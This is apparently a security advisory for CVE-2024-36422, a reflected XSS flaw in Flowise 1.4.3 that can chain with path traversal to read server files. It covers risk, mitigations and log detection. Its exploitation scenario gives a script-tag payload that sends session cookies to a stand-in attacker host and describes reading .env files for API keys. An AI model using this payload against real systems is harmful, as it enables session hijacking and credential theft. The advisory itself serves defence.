CVE-2024-36422: Flowise: reflected XSS enables session hijack and file read

MEDIUM PoC AVAILABLE
Published July 1, 2024
CISO Take

Flowise 1.4.3 contains a reflected XSS vulnerability where unvalidated chatflow IDs are echoed directly into HTML 404 error responses, allowing an attacker to execute arbitrary JavaScript in a victim's browser session. The default Flowise configuration runs without authentication, meaning there is no credential barrier—any external attacker can exploit this by sending a crafted URL to an admin or user, and a public PoC is already available with low attack complexity confirmed by the CVSS AC:L/PR:N ratings. Critically, this XSS chains with a path traversal flaw in the same endpoint to enable server-side file reads, potentially exposing LLM API keys, system prompts, and workflow configurations stored on the Flowise host—escalating a Medium CVSS 6.1 into a high-impact credential compromise scenario. With no patch available at time of publication and 16 cumulative CVEs in Flowise signaling systemic security debt, immediately enable authentication, restrict access via VPN or IP allowlist, and rotate any credentials stored on the Flowise server.

Sources: NVD GitHub Advisory ATLAS

Risk Assessment

Rated CVSS 6.1 Medium, but practical risk is significantly higher due to three compounding factors: default unauthenticated deployment, public PoC availability, and XSS-to-file-read chaining capability. The AV:N/AC:L/PR:N vector means any network-reachable Flowise instance is trivially exploitable by anyone who can deliver a URL to a legitimate user. Flowise is commonly deployed in internal environments for LLM workflow prototyping, where staff may have lower security awareness. The 16-CVE history in this package indicates slow patching velocity and a broad, poorly hardened attack surface.

Affected Systems

Package Ecosystem Vulnerable Range Patched
flowise npm No patch

Do you use flowise? You're affected.

Severity & Risk

CVSS 3.1
6.1 / 10
EPSS
N/A
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Recommended Action

  1. IMMEDIATE: Enable Flowise authentication via FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables—this blocks unauthenticated exploitation of the default setup.
  2. NETWORK: Place Flowise behind a VPN, reverse proxy with IP allowlisting, or firewall rules to prevent external access.
  3. PATCH: Monitor FlowiseAI/Flowise GitHub releases for a fix addressing CVE-2024-36422 and upgrade as soon as available.
  4. AUDIT: Review the Flowise server filesystem for sensitive files (.env, API key stores, credential configs) accessible via the path traversal chain; rotate any potentially exposed credentials immediately.
  5. DETECT: Review web server logs for requests to /api/v1/chatflows/ containing URL-encoded script tags or JavaScript in the ID parameter.
  6. WORKAROUND: If authentication cannot be enabled immediately, block the /api/v1/chatflows/ endpoint at the WAF or reverse proxy layer for unauthenticated external requests.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, Robustness and Cybersecurity
ISO 42001
A.6.1.5 - Information security in AI system development
NIST AI RMF
MANAGE 2.2 - Mechanisms are in place to address AI risks
OWASP LLM Top 10
LLM02 - Sensitive Information Disclosure LLM05 - Improper Output Handling

Technical Details

NVD Description

Flowise is a drag & drop user interface to build a customized large language model flow. In version 1.4.3 of Flowise, a reflected cross-site scripting vulnerability occurs in the `api/v1/chatflows/id` endpoint. If the default configuration is used (unauthenticated), an attacker may be able to craft a specially crafted URL that injects Javascript into the user sessions, allowing the attacker to steal information, create false popups, or even redirect the user to other websites without interaction. If the chatflow ID is not found, its value is reflected in the 404 page, which has type text/html. This allows an attacker to attach arbitrary scripts to the page, allowing an attacker to steal sensitive information. This XSS may be chained with the path injection to allow an attacker without direct access to Flowise to read arbitrary files from the Flowise server. As of time of publication, no known patches are available.

Exploitation Scenario

An adversary targeting an organization using Flowise for LLM workflow orchestration identifies the Flowise instance via Shodan, internal network scanning, or reconnaissance. They craft a URL to the Flowise chatflows API endpoint with a JavaScript payload embedded in the chatflow ID parameter (e.g., /api/v1/chatflows/<script>document.location='https://attacker.com/c?d='+document.cookie</script>) and deliver it to a Flowise administrator via phishing email or an internal Slack message. When the admin clicks the link, Flowise returns a 404 page with the script reflected as text/html, executing it in the admin's browser and exfiltrating session tokens or credentials to the attacker's server. In a chained variant, the attacker crafts an XSS payload that performs a secondary fetch to a path traversal URL (e.g., reading /opt/flowise/.env), silently exfiltrating OpenAI or Anthropic API keys and giving the attacker full access to the organization's LLM infrastructure without ever touching the server directly.

Weaknesses (CWE)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Timeline

Published
July 1, 2024
Last Modified
November 21, 2024
First Seen
July 1, 2024

Related Vulnerabilities